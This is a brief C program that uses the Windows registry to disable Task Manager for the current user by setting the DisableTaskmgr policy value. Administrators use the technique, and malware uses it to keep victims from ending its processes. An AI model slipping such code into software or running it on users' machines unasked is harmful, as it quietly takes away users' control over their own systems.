[C] Disable Task Manager

#include <windows.h>

int main()
{
DWORD dwVal = 1;

HKEY hKey;
RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\", 0, KEY_ALL_ACCESS, &hKey);
RegSetValueEx (hKey, "DisableTaskmgr", 0, REG_DWORD, (LPBYTE)&dwVal , sizeof(DWORD));
RegCloseKey(hKey);
return 0;
}